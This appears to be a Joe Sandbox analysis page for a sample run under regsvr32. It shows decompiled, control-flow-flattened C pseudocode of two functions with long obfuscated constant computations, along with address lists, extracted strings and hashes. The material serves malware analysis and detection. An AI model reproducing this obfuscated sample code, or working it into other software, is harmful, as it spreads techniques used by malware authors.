				_v308 = _v308 ^ 0x009db133;
				while(1) {
					L1:
					_t309 = 0xe35a561;
					do {
						while(1) {
							L2:
							_t399 = _t349 - 0x8816d6a;
							if(_t399 > 0) {
								break;
							}
							if(_t399 == 0) {
								_t325 =  *0x4246228; // 0x0
								_t328 =  *0x4246228; // 0x0
								_t332 =  *0x4246228; // 0x0
								_t336 = E042367E6(_t394, _v400, _v360, _v332, _v392,  &_v268,  *( *((intOrPtr*)(_t332 + 4)) + 0x14) & 0x0000ffff, _v292,  &_v276,  *( *((intOrPtr*)(_t328 + 4)) + 0x44) & 0x0000ffff, _v408,  *((intOrPtr*)(_t325 + 4)) + 0x20, _v352,  &_v260);
								_t397 = _t397 + 0x30;
								if(_t336 == 0) {
									L25:
									_t349 = 0xc732dcb;
									while(1) {
										L1:
										_t309 = 0xe35a561;
										goto L2;
									}
								} else {
									_t349 = 0x772d3d2;
									while(1) {
										L1:
										_t309 = 0xe35a561;
										goto L2;
									}
								}
							} else {
								if(_t349 == 0x200f7b2) {
									if(_v280 >= _v308) {
										_t338 = E04232E5D( &_v284,  &_v276);
									} else {
										_t338 = E042280C0( &_v284);
									}
									_t394 = _t338;
									_t309 = 0xe35a561;
									_t349 =  !=  ? 0xe35a561 : 0xc732dcb;
									continue;
								} else {
									if(_t349 == 0x323c58a) {
										_t364 =  *0x4246228; // 0x0
										_t340 =  *((intOrPtr*)( *((intOrPtr*)(_t364 + 4)) + 0x18));
										 *((intOrPtr*)(_t364 + 0x1c)) =  *((intOrPtr*)(_t364 + 0x1c)) + 1;
										_t385 =  *((intOrPtr*)(_t364 + 0x1c));
										 *((intOrPtr*)(_t364 + 4)) = _t340;
										if(_t340 == 0) {
											 *((intOrPtr*)(_t364 + 4)) =  *((intOrPtr*)(_t364 + 0x14));
										}
										_t341 =  *0x4246228; // 0x0
										if(_t385 >=  *((intOrPtr*)(_t341 + 0x18))) {
											_t365 =  *0x4246228; // 0x0
											 *(_t365 + 0x1c) =  *(_t365 + 0x1c) & 0x00000000;
										} else {
											_t349 = 0x902256d;
											while(1) {
												L1:
												_t309 = 0xe35a561;
												goto L2;
											}
										}
									} else {
										if(_t349 == 0x54cb160) {
											_t343 = E04235779( &_v284, _t395, _v388, _v376, _v288);
											_t397 = _t397 + 0xc;
											if(_t343 != 0) {
												_t349 = 0x200f7b2;
												while(1) {
													L1:
													_t309 = 0xe35a561;
													goto L2;
												}
											}
										} else {
											if(_t349 != 0x772d3d2) {
												goto L35;
											} else {
												if(L04226B7A(_v340, _a16, _v384,  &_v268) == 0) {
													_t390 = 0x323c58a;
												} else {
													_t390 = 0x72c7f38;
													_t346 = 1;
												}
												_t349 = 0x939e27d;
												while(1) {
													L1:
													_t309 = 0xe35a561;
													goto L2;
												}
											}
										}
									}
								}
							}
							L38:
							return _t346;
						}
						if(_t349 == 0x902256d) {
							_t394 = 0;
							E0423FE2A(_v312, _v356, 0x100,  &_v260);
							_v276 = 0;
							_t349 = 0x54cb160;
							_v272 = 0;
							_v284 = 0;
							_v280 = 0;
							goto L34;
						} else {
							if(_t349 == 0x939e27d) {
								E04242B09(_v364, _v268, _v320, _v372);
								goto L25;
							} else {
								if(_t349 == 0xc732dcb) {
									E04242B09(_v344, _v284, _v348, _v300);
									E04242B09(_v396, _t394, _v368, _v336);
									E04242B09(_v328, _v276, _v416, _v380);
									_t397 = _t397 + 0x18;
									_t349 = _t390;
									L34:
									_t309 = 0xe35a561;
									goto L35;
								} else {
									if(_t349 != _t309) {
										goto L35;
									} else {
										_push(_t349);
										_push(_t349);
										_t322 = E0423CCA0(1, 0x40);
										_push( &_v260);
										_push(_t322);
										_push(_v304);
										_t382 = 0xb;
										E0422E404(_v316, _t382);
										_t397 = _t397 + 0x1c;
										_t349 = 0x8816d6a;
										goto L1;
									}
								}
							}
						}
						goto L38;
						L35:
					} while (_t349 != 0x72c7f38);
					goto L38;
				}
			}

0x0423d1c6
0x0423d1cd
0x0423d1d1
0x0423d1d8
0x0423d1df
0x0423d1e6
0x0423d1ed
0x0423d1f4
0x0423d1fb
0x0423d1fc
0x0423d1fd
0x0423d202
0x0423d20d
0x0423d210
0x0423d21a
0x0423d222
0x0423d224
0x0423d22c
0x0423d231
0x0423d236
0x0423d23e
0x0423d246
0x0423d24e
0x0423d256
0x0423d25b
0x0423d260
0x0423d268
0x0423d270
0x0423d278
0x0423d280
0x0423d288
0x0423d290
0x0423d298
0x0423d2a0
0x0423d2ae
0x0423d2b1
0x0423d2b5
0x0423d2ba
0x0423d2c2
0x0423d2ca
0x0423d2d5
0x0423d2e0
0x0423d2eb
0x0423d2f3
0x0423d2fb
0x0423d303
0x0423d308
0x0423d310
0x0423d318
0x0423d31d
0x0423d325
0x0423d330
0x0423d33b
0x0423d346
0x0423d353
0x0423d357
0x0423d35c
0x0423d361
0x0423d369
0x0423d371
0x0423d376
0x0423d37b
0x0423d383
0x0423d38b
0x0423d390
0x0423d398
0x0423d3a0
0x0423d3a5
0x0423d3ad
0x0423d3b5
0x0423d3bd
0x0423d3c8
0x0423d3d5
0x0423d3e0
0x0423d3e8
0x0423d3f6
0x0423d3fb
0x0423d401
0x0423d409
0x0423d411
0x0423d419
0x0423d421
0x0423d429
0x0423d431
0x0423d436
0x0423d43e
0x0423d446
0x0423d44e
0x0423d456
0x0423d45e
0x0423d466
0x0423d473
0x0423d47b
0x0423d47f
0x0423d487
0x0423d48f
0x0423d494
0x0423d49c
0x0423d4a4
0x0423d4ac
0x0423d4b4
0x0423d4bc
0x0423d4c4
0x0423d4cc
0x0423d4d4
0x0423d4dc
0x0423d4e1
0x0423d4e9
0x0423d4f4
0x0423d4fc
0x0423d507
0x0423d50f
0x0423d51c
0x0423d524
0x0423d52c
0x0423d53a
0x0423d541
0x0423d545
0x0423d54d
0x0423d555
0x0423d55d
0x0423d565
0x0423d56d
0x0423d575
0x0423d57d
0x0423d585
0x0423d58d
0x0423d597
0x0423d59b
0x0423d5a3
0x0423d5ab
0x0423d5b3
0x0423d5b7
0x0423d5bf
0x0423d5c7
0x0423d5d2
0x0423d5dd
0x0423d5e8
0x0423d5e8
0x0423d5e8
0x0423d5ed
0x0423d5ed
0x0423d5ed
0x0423d5ed
0x0423d5f3
0x00000000
0x00000000
0x0423d5f9
0x0423d716
0x0423d726
0x0423d742
0x0423d76a
0x0423d76f
0x0423d774
0x0423d785
0x0423d785
0x0423d5e8
0x0423d5e8
0x0423d5e8
0x00000000
0x0423d5e8
0x0423d776
0x0423d776
0x0423d5e8
0x0423d5e8
0x0423d5e8
0x00000000
0x0423d5e8
0x0423d5e8
0x0423d5ff
0x0423d605
0x0423d6dd
0x0423d6ed
0x0423d6df
0x0423d6df
0x0423d6df
0x0423d6f2
0x0423d6fb
0x0423d700
0x00000000
0x0423d60b
0x0423d611
0x0423d691
0x0423d69a
0x0423d69d
0x0423d6a0
0x0423d6a3
0x0423d6a8
0x0423d6ad
0x0423d6ad
0x0423d6b0
0x0423d6b8
0x0423d8c4
0x0423d8ca
0x0423d6be
0x0423d6be
0x0423d5e8
0x0423d5e8
0x0423d5e8
0x00000000
0x0423d5e8
0x0423d5e8
0x0423d613
0x0423d619
0x0423d677
0x0423d67c
0x0423d681
0x0423d687
0x0423d5e8
0x0423d5e8
0x0423d5e8
0x00000000
0x0423d5e8
0x0423d5e8
0x0423d61b
0x0423d621
0x00000000
0x0423d627
0x0423d647
0x0423d653
0x0423d649
0x0423d64b
0x0423d650
0x0423d650
0x0423d658
0x0423d5e8
0x0423d5e8
0x0423d5e8
0x00000000
0x0423d5e8
0x0423d5e8
0x0423d621
0x0423d619
0x0423d611
0x0423d605
0x0423d8d1
0x0423d8da
0x0423d8da
0x0423d795
0x0423d87f
0x0423d887
0x0423d890
0x0423d897
0x0423d89c
0x0423d8a3
0x0423d8aa
0x00000000
0x0423d79b
0x0423d7a1
0x0423d864
0x00000000
0x0423d7a7
0x0423d7ad
0x0423d817
0x0423d82a
0x0423d845
0x0423d84a
0x0423d84d
0x0423d8b1
0x0423d8b1
0x00000000
0x0423d7af
0x0423d7b1
0x00000000
0x0423d7b7
0x0423d7ca
0x0423d7cb
0x0423d7d0
0x0423d7dc
0x0423d7dd
0x0423d7de
0x0423d7ee
0x0423d7ef
0x0423d7f4
0x0423d7f7
0x00000000
0x0423d7f7
0x0423d7b1
0x0423d7ad
0x0423d7a1
0x00000000
0x0423d8b6
0x0423d8b6
0x00000000
0x0423d8c2

Strings

ju~, xrefs: 0423D429
yT, xrefs: 0423D592
yT, xrefs: 0423D5A3
}9, xrefs: 0423D658
>g, xrefs: 0423D5B7
-c, xrefs: 0423D3C8
}9, xrefs: 0423D79B
0^, xrefs: 0423D270
<9, xrefs: 0423D31D
8M, xrefs: 0423D411
aSa, xrefs: 0423D5AB
C:, xrefs: 0423D268

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -c$0^$8M$>g$aSa$ju~$}9$}9$<9$C:$yT$yT
API String ID: 0-111235429
Opcode ID: 280983841837c530fa5282081a01f655b187da6507166c68de6ade27ca945a0b
Instruction ID: a85afa7d615651dd6cb725ff5dc2f24f85395e0c6870172a558c3211f87f071b
Opcode Fuzzy Hash: 280983841837c530fa5282081a01f655b187da6507166c68de6ade27ca945a0b
Instruction Fuzzy Hash: E40244B12283809FD368CF25C489A5BBBF1FBC4748F50890DE69A86260D7B5D949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 042257B8, Relevance: 14.4, Strings: 11, Instructions: 616
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E042257B8(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v8;
				void _v12;
				void _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				intOrPtr _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				void* _t657;
				intOrPtr _t715;
				void* _t716;
				void* _t717;
				void* _t725;
				void* _t729;
				void* _t737;
				void* _t740;
				intOrPtr _t746;
				void* _t798;
				void* _t814;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t819;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t825;
				signed int _t826;
				signed int _t827;
				signed int _t828;
				void* _t829;
				void* _t832;
				void* _t833;
				void* _t834;
				void* _t840;

				_push(_a24);
				_t746 = __edx;
				_push(_a20);
				_v224 = __edx;
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(0x20);
				E0423FE29(_t657);
				_v108 = 0x7f0a1;
				_t834 = _t833 + 0x20;
				_t832 = 0;
				_t740 = 0xa8b367c;
				_t816 = 0x72;
				_v108 = _v108 / _t816;
				_v108 = _v108 ^ 0x000011d4;
				_v220 = 0x3ea28;
				_v220 = _v220 | 0x6e60dce4;
				_v220 = _v220 << 0xd;
				_v220 = _v220 ^ 0x7fdd8000;
				_v272 = 0xf906dc;
				_v272 = _v272 + 0x5e9;
				_t817 = 0x7a;
				_v272 = _v272 * 0x15;
				_v272 = _v272 << 0xb;
				_v272 = _v272 ^ 0x70614800;
				_v264 = 0x600b37;
				_v264 = _v264 / _t817;
				_v264 = _v264 ^ 0x262493f0;
				_t818 = 0x3e;
				_v264 = _v264 * 0x11;
				_v264 = _v264 ^ 0x886a01f8;
				_v260 = 0xf3d497;
				_v260 = _v260 / _t818;
				_v260 = _v260 >> 6;
				_v260 = _v260 >> 3;
				_v260 = _v260 ^ 0x000001f7;
				_v156 = 0x8d2235;
				_v156 = _v156 >> 0xe;
				_t819 = 0xe;
				_v156 = _v156 * 0x5b;
				_v156 = _v156 ^ 0x0000c87c;
				_v292 = 0xf4d;
				_v292 = _v292 + 0x4732;
				_v292 = _v292 << 0x10;
				_v292 = _v292 << 0xe;
				_v292 = _v292 ^ 0xc0000000;
				_v216 = 0x258eaf;
				_v216 = _v216 * 0x48;
				_v216 = _v216 / _t819;
				_v216 = _v216 ^ 0x00c126f1;
				_v96 = 0xf75e54;
				_v96 = _v96 + 0xffff74b2;
				_v96 = _v96 ^ 0x00f6d306;
				_v268 = 0x92da;
				_v268 = _v268 >> 0xc;
				_v268 = _v268 + 0x1646;
				_v268 = _v268 << 0xd;
				_v268 = _v268 ^ 0x02c9e000;
				_v196 = 0xf0429c;
				_t820 = 0x3d;
				_v196 = _v196 * 0x60;
				_v196 = _v196 >> 3;
				_v196 = _v196 ^ 0x0b431f50;
				_v232 = 0x6bfae5;
				_v232 = _v232 / _t820;
				_v232 = _v232 >> 4;
				_v232 = _v232 * 0x6e;
				_v232 = _v232 ^ 0x000c2b3c;
				_v40 = 0xa24143;
				_v40 = _v40 + 0xffff9191;
				_v40 = _v40 ^ 0x00a231cd;
				_v80 = 0x435983;
				_v80 = _v80 >> 0x10;
				_v80 = _v80 ^ 0x000556e3;
				_v180 = 0x94eafd;
				_v180 = _v180 + 0x1d08;
				_v180 = _v180 | 0xe944a694;
				_v180 = _v180 ^ 0xe9df3ebb;
				_v228 = 0xbcce84;
				_v228 = _v228 + 0xffff815d;
				_v228 = _v228 ^ 0xe4fbb881;
				_v228 = _v228 >> 0xe;
				_v228 = _v228 ^ 0x0005fd7e;
				_v112 = 0x2fdad;
				_v112 = _v112 ^ 0x4ab81af1;
				_v112 = _v112 ^ 0x4abb9e1a;
				_v64 = 0x50dc85;
				_v64 = _v64 + 0xffff4d8c;
				_v64 = _v64 ^ 0x005cdb40;
				_v52 = 0x47f34d;
				_v52 = _v52 + 0xffff898a;
				_v52 = _v52 ^ 0x004c7feb;
				_v72 = 0xc369b0;
				_v72 = _v72 * 0x64;
				_v72 = _v72 ^ 0x4c5d6799;
				_v132 = 0xe6e6b0;
				_v132 = _v132 >> 0xb;
				_v132 = _v132 * 0x6c;
				_v132 = _v132 ^ 0x00059f00;
				_v172 = 0x544ea4;
				_v172 = _v172 << 5;
				_v172 = _v172 | 0xc018668b;
				_v172 = _v172 ^ 0xca962b34;
				_v148 = 0x61f17d;
				_v148 = _v148 >> 0xc;
				_v148 = _v148 + 0xffff8980;
				_v148 = _v148 ^ 0xfffa8c30;
				_v100 = 0xf619bc;
				_v100 = _v100 >> 0xa;
				_v100 = _v100 ^ 0x00008a95;
				_v200 = 0xa94e7a;
				_v200 = _v200 + 0xa696;
				_v200 = _v200 + 0xffff4550;
				_v200 = _v200 ^ 0x00a03757;
				_v208 = 0x57e0ef;
				_v208 = _v208 ^ 0x592bbff9;
				_v208 = _v208 ^ 0x4b5d2b88;
				_v208 = _v208 ^ 0x1221726f;
				_v284 = 0x804076;
				_v284 = _v284 ^ 0x9dc3529f;
				_v284 = _v284 + 0x2ad8;
				_v284 = _v284 << 7;
				_v284 = _v284 ^ 0xa19e17b3;
				_v176 = 0xb506b1;
				_v176 = _v176 | 0xc528794d;
				_v176 = _v176 + 0x810e;
				_v176 = _v176 ^ 0xc5bbfa9c;
				_v184 = 0x64408f;
				_v184 = _v184 << 3;
				_v184 = _v184 >> 0xf;
				_v184 = _v184 ^ 0x00066ce1;
				_v252 = 0x9e8dfe;
				_v252 = _v252 | 0x2316ff28;
				_v252 = _v252 + 0xbb4b;
				_v252 = _v252 ^ 0x205df49d;
				_v252 = _v252 ^ 0x03c75996;
				_v192 = 0x20a385;
				_v192 = _v192 ^ 0x2edbbce0;
				_v192 = _v192 >> 5;
				_v192 = _v192 ^ 0x017066cd;
				_v312 = 0x989161;
				_v312 = _v312 + 0xa008;
				_v312 = _v312 + 0x4ac;
				_v312 = _v312 | 0x9f8d4417;
				_v312 = _v312 ^ 0x9f9ed397;
				_v320 = 0x6ba986;
				_t821 = 0x4d;
				_v320 = _v320 * 0x35;
				_v320 = _v320 + 0x6b8c;
				_v320 = _v320 + 0x347b;
				_v320 = _v320 ^ 0x164ad328;
				_v236 = 0xcaa528;
				_v236 = _v236 + 0x2035;
				_v236 = _v236 | 0x7bffa27f;
				_v236 = _v236 ^ 0x7bfdb1d6;
				_v276 = 0xb040eb;
				_v276 = _v276 * 0x3a;
				_v276 = _v276 >> 2;
				_v276 = _v276 >> 0xb;
				_v276 = _v276 ^ 0x00065548;
				_v280 = 0xf1680b;
				_v280 = _v280 >> 0xa;
				_v280 = _v280 >> 1;
				_v280 = _v280 >> 0xd;
				_v280 = _v280 ^ 0x00049c20;
				_v288 = 0x575f50;
				_v288 = _v288 << 0xe;
				_v288 = _v288 | 0xa77b0e2e;
				_v288 = _v288 * 0x52;
				_v288 = _v288 ^ 0x6fbbe03a;
				_v296 = 0x568d1e;
				_v296 = _v296 >> 0xb;
				_v296 = _v296 >> 6;
				_v296 = _v296 >> 9;
				_v296 = _v296 ^ 0x0008fa1d;
				_v304 = 0xd1fef6;
				_v304 = _v304 << 0x10;
				_v304 = _v304 * 0x2d;
				_v304 = _v304 << 9;
				_v304 = _v304 ^ 0x7c01ef7f;
				_v92 = 0xea5a63;
				_v92 = _v92 << 0xd;
				_v92 = _v92 ^ 0x4b4e4928;
				_v76 = 0xf64e35;
				_v76 = _v76 + 0xbf9b;
				_v76 = _v76 ^ 0x00fbc5d2;
				_v248 = 0xc75c6;
				_v248 = _v248 ^ 0x54d7d0af;
				_v248 = _v248 / _t821;
				_v248 = _v248 | 0x9c98695d;
				_v248 = _v248 ^ 0x9d9ac3a5;
				_v256 = 0x504a74;
				_v256 = _v256 | 0x8719e45c;
				_v256 = _v256 * 0x7b;
				_v256 = _v256 ^ 0x8d2796a4;
				_v256 = _v256 ^ 0x85162cc6;
				_v84 = 0x519e4e;
				_v84 = _v84 ^ 0x8be7953d;
				_v84 = _v84 ^ 0x8bbbe938;
				_v168 = 0x311266;
				_v168 = _v168 ^ 0x18ab2cb8;
				_v168 = _v168 << 9;
				_v168 = _v168 ^ 0x3478f01c;
				_v60 = 0x61fbf7;
				_v60 = _v60 >> 0x10;
				_v60 = _v60 ^ 0x000e504b;
				_v240 = 0xf8ae17;
				_v240 = _v240 >> 3;
				_v240 = _v240 | 0x050ada64;
				_v240 = _v240 ^ 0x567c7cbc;
				_v240 = _v240 ^ 0x53659cbf;
				_v68 = 0xee6d4a;
				_t374 =  &_v68; // 0xee6d4a
				_t822 = 0x49;
				_v68 =  *_t374 * 0xf;
				_v68 = _v68 ^ 0x0dff5dbc;
				_v300 = 0x550c32;
				_v300 = _v300 * 0x12;
				_v300 = _v300 + 0xffff8d7f;
				_v300 = _v300 << 1;
				_v300 = _v300 ^ 0x0bfb5da9;
				_v124 = 0x6baac1;
				_v124 = _v124 * 0x60;
				_t823 = 0x6f;
				_v124 = _v124 / _t822;
				_v124 = _v124 ^ 0x0084cf47;
				_v188 = 0xec1707;
				_v188 = _v188 << 0xc;
				_v188 = _v188 + 0x1505;
				_v188 = _v188 ^ 0xc1795754;
				_v244 = 0xd962f7;
				_v244 = _v244 + 0xffffa966;
				_v244 = _v244 | 0x93df07c8;
				_v244 = _v244 >> 1;
				_v244 = _v244 ^ 0x49e87f80;
				_v48 = 0x35494e;
				_v48 = _v48 / _t823;
				_v48 = _v48 ^ 0x000830fa;
				_v88 = 0x633bdd;
				_v88 = _v88 + 0xc138;
				_v88 = _v88 ^ 0x006a2257;
				_v56 = 0x559d1c;
				_v56 = _v56 + 0xffff12d8;
				_v56 = _v56 ^ 0x005735ca;
				_v104 = 0xdd1aac;
				_v104 = _v104 << 4;
				_v104 = _v104 ^ 0x0dd90d21;
				_v44 = 0x4278da;
				_t824 = 0x4e;
				_v44 = _v44 * 0x42;
				_v44 = _v44 ^ 0x112c636d;
				_v116 = 0x4ec2e;
				_v116 = _v116 + 0xffff43d8;
				_v116 = _v116 ^ 0x00065017;
				_v308 = 0xc5e4c2;
				_v308 = _v308 * 0x26;
				_v308 = _v308 + 0xa26d;
				_v308 = _v308 << 0xe;
				_v308 = _v308 ^ 0x25c4a583;
				_v36 = 0x60fc2;
				_v36 = _v36 * 0x2e;
				_v36 = _v36 ^ 0x011987ae;
				_v140 = 0x8a5839;
				_v140 = _v140 << 0xb;
				_v140 = _v140 / _t824;
				_v140 = _v140 ^ 0x010a1534;
				_t814 = 0x30e419;
				_v204 = 0x180842;
				_v204 = _v204 ^ 0x577ac785;
				_v204 = _v204 + 0x1256;
				_v204 = _v204 ^ 0x5761cb73;
				_v136 = 0xcc77c3;
				_v136 = _v136 | 0x2e5c8e9b;
				_t825 = 0x3c;
				_v12 = 0xc2dfee2;
				_v16 = 0x8d06406;
				_v136 = _v136 * 0x19;
				_v136 = _v136 ^ 0x93985978;
				_v144 = 0xcb98e2;
				_v144 = _v144 ^ 0x2e2af391;
				_v144 = _v144 + 0xffff95d2;
				_v144 = _v144 ^ 0x2ee989ff;
				_v152 = 0x6e8dcb;
				_v152 = _v152 * 0x64;
				_v152 = _v152 ^ 0xf6de88b0;
				_v152 = _v152 ^ 0xddf9340f;
				_v160 = 0x1f41c3;
				_v160 = _v160 / _t825;
				_v160 = _v160 ^ 0x710c49d1;
				_v160 = _v160 ^ 0x7106b0fc;
				_v164 = 0xea0060;
				_v164 = _v164 << 2;
				_t826 = 0x54;
				_v164 = _v164 * 0x51;
				_v164 = _v164 ^ 0x2820691f;
				_v212 = 0x1a562c;
				_v212 = _v212 + 0xffff6884;
				_v212 = _v212 / _t826;
				_v212 = _v212 ^ 0x000ca439;
				_v316 = 0xc049a;
				_t827 = 0x4a;
				_v316 = _v316 / _t827;
				_v316 = _v316 >> 0xd;
				_v316 = _v316 >> 0xc;
				_v316 = _v316 ^ 0x000978cf;
				_v120 = 0xbc159f;
				_t828 = 0x75;
				_v120 = _v120 * 0x6f;
				_t829 = 0x3acf932;
				_v120 = _v120 / _t828;
				_v120 = _v120 ^ 0x00bb77de;
				_v128 = 0x83c7e3;
				_v128 = _v128 ^ 0x1c1c3aef;
				_v128 = _v128 ^ 0x03a71d14;
				_v128 = _v128 ^ 0x1f3d9b10;
				while(1) {
					L1:
					while(1) {
						do {
							while(1) {
								L3:
								_t840 = _t740 - 0x6051746;
								if(_t840 <= 0) {
									break;
								}
								__eflags = _t740 - 0x644521d;
								if(_t740 == 0x644521d) {
									E042412C1(_v32, _v136, _v144, _v152, _v160);
									_t740 = 0x4160ee8;
									goto L25;
								} else {
									__eflags = _t740 - 0x8d06406;
									if(_t740 == 0x8d06406) {
										_push(_t746);
										_push(_t746);
										_t715 = E0422C5D8(_v20);
										_t746 = _v224;
										_t834 = _t834 + 0xc;
										__eflags = _t715;
										_v24 = _t715;
										_t798 = 0x26ffc0;
										_t740 =  !=  ? 0x26ffc0 : _t814;
										_t716 = 0x5dc2900;
										continue;
									} else {
										__eflags = _t740 - 0xa8b367c;
										if(__eflags == 0) {
											_t740 = 0x6051746;
											continue;
										} else {
											__eflags = _t740 - 0xc2dfee2;
											if(__eflags == 0) {
												_push(_v276);
												_push(_v236);
												_push(_v320);
												_t737 = E0422F288(_v272, _v280, E0423E1F8(0x42213f8, _v312, __eflags), _v288,  &_v8,  &_v20, _v296, 0x42213f8, _v304, _v28, _v92);
												_t834 = _t834 + 0x30;
												__eflags = _t737 - _v264;
												_t740 =  ==  ? _v16 : _t814;
												E0423FECB(_t734, _v76, _v248, _v256, _v84);
												L16:
												_t829 = 0x3acf932;
												L25:
												_t746 = _v224;
												_t834 = _t834 + 0xc;
												_t798 = 0x26ffc0;
											}
											goto L26;
										}
									}
								}
								L29:
								return _t832;
							}
							if(_t840 == 0) {
								_push(_v228);
								_push(_v180);
								_push(_v80);
								_t717 = E0423E1F8(0x42213a8, _v40, __eflags);
								_push(_v72);
								_push(_v52);
								_push(_v64);
								__eflags = L0422738A(_v132, _t717, _v172, _v108,  &_v28, E0423E1F8(0x4221318, _v112, __eflags), _v148) - _v220;
								_t740 =  ==  ? _v12 : 0x1841daf;
								E0423FECB(_t717, _v100, _v200, _v208, _v284);
								_t834 = _t834 + 0x38;
								E0423FECB(_t718, _v176, _v184, _v252, _v192);
								_t814 = 0x30e419;
								goto L16;
							} else {
								if(_t740 == _t798) {
									_t725 = L04221BC9(_v260, _v28, _v300, _v124, _v20, _v188, _v244, _v156, _v24,  &_v32, _v48, _v88);
									_t834 = _t834 + 0x2c;
									__eflags = _t725 - _v292;
									_t746 = _v224;
									_t716 = 0x5dc2900;
									_t740 =  ==  ? 0x5dc2900 : 0x4160ee8;
									goto L3;
								} else {
									if(_t740 == _t814) {
										E0422F7FE(_v120, _v28, _v128, _v232);
									} else {
										if(_t740 == _t829) {
											_t729 = E042222C9(_v308, _v36, _v32, 0x20, _a20, _v140, _v204, _v268);
											_t834 = _t834 + 0x18;
											_t740 = 0x644521d;
											__eflags = _t729 - _v196;
											_t832 =  ==  ? 1 : _t832;
											goto L11;
										} else {
											if(_t740 == 0x4160ee8) {
												E04242B09(_v164, _v24, _v212, _v316);
												_t740 = _t814;
												goto L11;
											} else {
												if(_t740 != _t716) {
													goto L26;
												} else {
													L0423CBE9(_v216, _a12, _v56, _t746, _v104, _v44, _v116, _v32);
													_t834 = _t834 + 0x18;
													_t740 =  ==  ? _t829 : 0x644521d;
													L11:
													_t746 = _v224;
													goto L1;
												}
											}
										}
									}
								}
							}
							goto L29;
							L26:
							__eflags = _t740 - 0x1841daf;
						} while (__eflags != 0);
						goto L29;
					}
				}
			}

0x042257c2
0x042257c9
0x042257cb
0x042257d2
0x042257d6
0x042257dd
0x042257e4
0x042257eb
0x042257f2
0x042257f3
0x042257f5
0x042257fa
0x04225805
0x04225811
0x04225813
0x0422581a
0x0422581f
0x04225828
0x04225833
0x0422583b
0x04225843
0x04225848
0x04225850
0x04225858
0x04225865
0x04225868
0x0422586c
0x04225871
0x04225879
0x04225889
0x0422588d
0x0422589a
0x0422589d
0x042258a1
0x042258a9
0x042258b9
0x042258bd
0x042258c2
0x042258c7
0x042258cf
0x042258da
0x042258ea
0x042258eb
0x042258f2
0x042258fd
0x04225905
0x0422590d
0x04225912
0x04225917
0x0422591f
0x0422592c
0x04225936
0x0422593a
0x04225942
0x0422594d
0x04225958
0x04225963
0x0422596b
0x04225972
0x0422597a
0x0422597f
0x04225987
0x0422599c
0x0422599d
0x042259a4
0x042259ac
0x042259b7
0x042259c5
0x042259c9
0x042259d3
0x042259d7
0x042259df
0x042259ea
0x042259f5
0x04225a00
0x04225a0b
0x04225a13
0x04225a1e
0x04225a29
0x04225a34
0x04225a3f
0x04225a4a
0x04225a52
0x04225a5a
0x04225a62
0x04225a67
0x04225a6f
0x04225a7a
0x04225a85
0x04225a90
0x04225a9b
0x04225aa6
0x04225ab1
0x04225abc
0x04225ac7
0x04225ad2
0x04225ae5
0x04225aec
0x04225af7
0x04225b02
0x04225b12
0x04225b19
0x04225b24
0x04225b2f
0x04225b37
0x04225b42
0x04225b4d
0x04225b58
0x04225b60
0x04225b6b
0x04225b76
0x04225b81
0x04225b89
0x04225b94
0x04225b9f
0x04225baa
0x04225bb5
0x04225bc0
0x04225bcb
0x04225bd6
0x04225be1
0x04225bec
0x04225bf4
0x04225bfc
0x04225c04
0x04225c09
0x04225c11
0x04225c1c
0x04225c27
0x04225c32
0x04225c3d
0x04225c4a
0x04225c52
0x04225c5a
0x04225c65
0x04225c6d
0x04225c75
0x04225c7d
0x04225c85
0x04225c8d
0x04225c98
0x04225ca3
0x04225cab
0x04225cb6
0x04225cbe
0x04225cc6
0x04225cce
0x04225cd6
0x04225cde
0x04225ced
0x04225cee
0x04225cf2
0x04225cfa
0x04225d02
0x04225d0a
0x04225d12
0x04225d1a
0x04225d22
0x04225d2a
0x04225d37
0x04225d3b
0x04225d40
0x04225d45
0x04225d4d
0x04225d55
0x04225d5a
0x04225d5e
0x04225d63
0x04225d6b
0x04225d73
0x04225d78
0x04225d85
0x04225d89
0x04225d91
0x04225d99
0x04225d9e
0x04225da3
0x04225da8
0x04225db0
0x04225db8
0x04225dc2
0x04225dc6
0x04225dcb
0x04225dd3
0x04225dde
0x04225de6
0x04225df1
0x04225dfc
0x04225e07
0x04225e12
0x04225e1a
0x04225e28
0x04225e2c
0x04225e34
0x04225e3c
0x04225e44
0x04225e51
0x04225e55
0x04225e5d
0x04225e65
0x04225e70
0x04225e7b
0x04225e86
0x04225e93
0x04225e9e
0x04225ea6
0x04225eb1
0x04225ebc
